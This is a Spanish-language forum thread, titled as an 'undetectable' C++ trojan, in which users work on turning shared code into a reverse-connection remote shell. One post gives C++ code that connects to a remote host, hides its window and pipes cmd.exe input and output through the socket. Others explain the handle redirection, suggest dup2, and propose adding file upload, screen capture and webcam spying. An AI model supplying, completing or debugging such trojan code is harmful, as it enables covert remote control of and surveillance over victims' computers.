Troyano en C++ indetectable!!

Iniciado por Grillet0xEB, 18 Enero 2014, 15:25 PM

0 Miembros y 2 Visitantes están viendo este tema.

Ceh

haste un video tuto por fa suena interesante

.:UND3R:.

Un videotutorial está demás, es algo muy sencillo.

Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)

daryo

no sabia que se podia mezclar de esa forma createprocess con winsocks :D genial aunque el codigo no sea el tuyo gracias por el code

aunque como dicen arribla estaria bien hacerle modificaciones para que sea mas funcional
buenas

Vaagish

Citaraunque como dicen arribla estaria bien hacerle modificaciones para que sea mas funcional

Yo que se,, con poca cosa podes hacerlo conexión inversa, y ya de paso le pondría:
Enviar/Subir archivos, captura de pantalla y webcam.  ;D

Vaagish

#14
Hola! Otra vez..
Al final me entusiasme un poco con este code.. y lo hice conexión inversa,, alguien me puede explicar que gano creando el proceso "cmd"? (O sea una shell...)
Ya tengo mi cliente en VB.net,, entonces cuando conecta me manda la linea de comandos,, pero no le puedo enviar ningún comando así como esta el código,, pregunto porque a lo mejor hay alguna forma sencilla (ya que utiliza ese createprocess???) Sino ya se como hacerlo, pero me interesa saber para que crea el proceso... De otra manera creo una tuberia (pipe) y listo..

Bue,, eso nomas..

Saludos!!  ;D

EDITO: Leyendo sobre CreateProcess veo que se puede redirigir la entrada/salida estándar del nuevo proceso,, pero.. la pregunta del millón.. por que no lo redirecciona? Y como es posible que se invoquen los métodos recv y send "automáticamente"?

Arkangel_0x7C5

Cita de: Vaagish en 16 Febrero 2014, 07:20 AM
Hola! Otra vez..
Al final me entusiasme un poco con este code.. y lo hice conexión inversa,, alguien me puede explicar que gano creando el proceso "cmd"? (O sea una shell...)
Ya tengo mi cliente en VB.net,, entonces cuando conecta me manda la linea de comandos,, pero no le puedo enviar ningún comando así como esta el código,, pregunto porque a lo mejor hay alguna forma sencilla (ya que utiliza ese createprocess???) Sino ya se como hacerlo, pero me interesa saber para que crea el proceso... De otra manera creo una tuberia (pipe) y listo..

Bue,, eso nomas..

Saludos!!  ;D

EDITO: Leyendo sobre CreateProcess veo que se puede redirigir la entrada/salida estándar del nuevo proceso,, pero.. la pregunta del millón.. por que no lo redirecciona? Y como es posible que se invoquen los métodos recv y send "automáticamente"?

Lo que hace es redirigir la entrada salida del cmd al socket

Y eso funciona porque si te miras la api createFile veras que la mayoria de los handles tipo file,pipe, socket y demas en realidad son tratados como archivos. Por lo que puedes usarlos con las apis readFile y WriteFile

un saludo Ark

Vaagish

#16
CitarY eso funciona porque si te miras la api createFile veras que la mayoria de los handles tipo file,pipe, socket y demas en realidad son tratados como archivos. Por lo que puedes usarlos con las apis readFile y WriteFile

Gracias Ark! Es verdad,, no pensé en eso de esa forma.. por ende, la sentencia encargada de tal tarea es:

Código (cpp) [Seleccionar]
SI.hStdInput = SI.hStdOutput = SI.hStdError = (HANDLE)Socket;

Yo la modifique un poco porque a mi no me funcionaba como estaba en el código,, pero igual no me funciona "a mi manera" tampoco.. estas son las cosas mas relevantes que cambie:

Código (cpp) [Seleccionar]
if (connect(Socket, (struct sockaddr*)&SA_IN, sizeof(SA_IN)) == -1)
cout << "No conectado..";

ZeroMemory(&SI, sizeof(SI));
ZeroMemory(&PI, sizeof(PI));

SI.cb = sizeof(SI);
SI.wShowWindow         = SW_HIDE;
SI.dwFlags  = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES;
SI.hStdInput  = SI.hStdOutput = SI.hStdError = (HANDLE)Socket;
SI.lpDesktop  = SI.lpTitle = 0x0000;
SI.lpReserved2  = NULL;

LPSTR szCmdline  = "cmd.exe";
CreateProcessA(NULL, szCmdline, NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA)&SI, &PI);


A ver si alguien se da cuenta por que no funciona,, y aclaro el problema: El socket conecta y envía la linea de comandos,, pero si le envio una tarea, ej: "netstat" ya no responde, pero sigue conectado.. o si alguien sabe como depurar ese proceso hijo, me sirve también..

cpu2

#17
Tienes que duplicar el descriptor, en sistemas Posix son 0 1 2, luego en el descriptor del socket y duplicarlo con dup2 a esos descriptores, tendras que buscar la equivalencia en Windows.

Un saludo.

Vaagish

Me mataste.. jaja  Descriptor = Handle?

cpu2

Si jaja, si quieres un ejemplo en Posix y ASM dilo.

Un saludo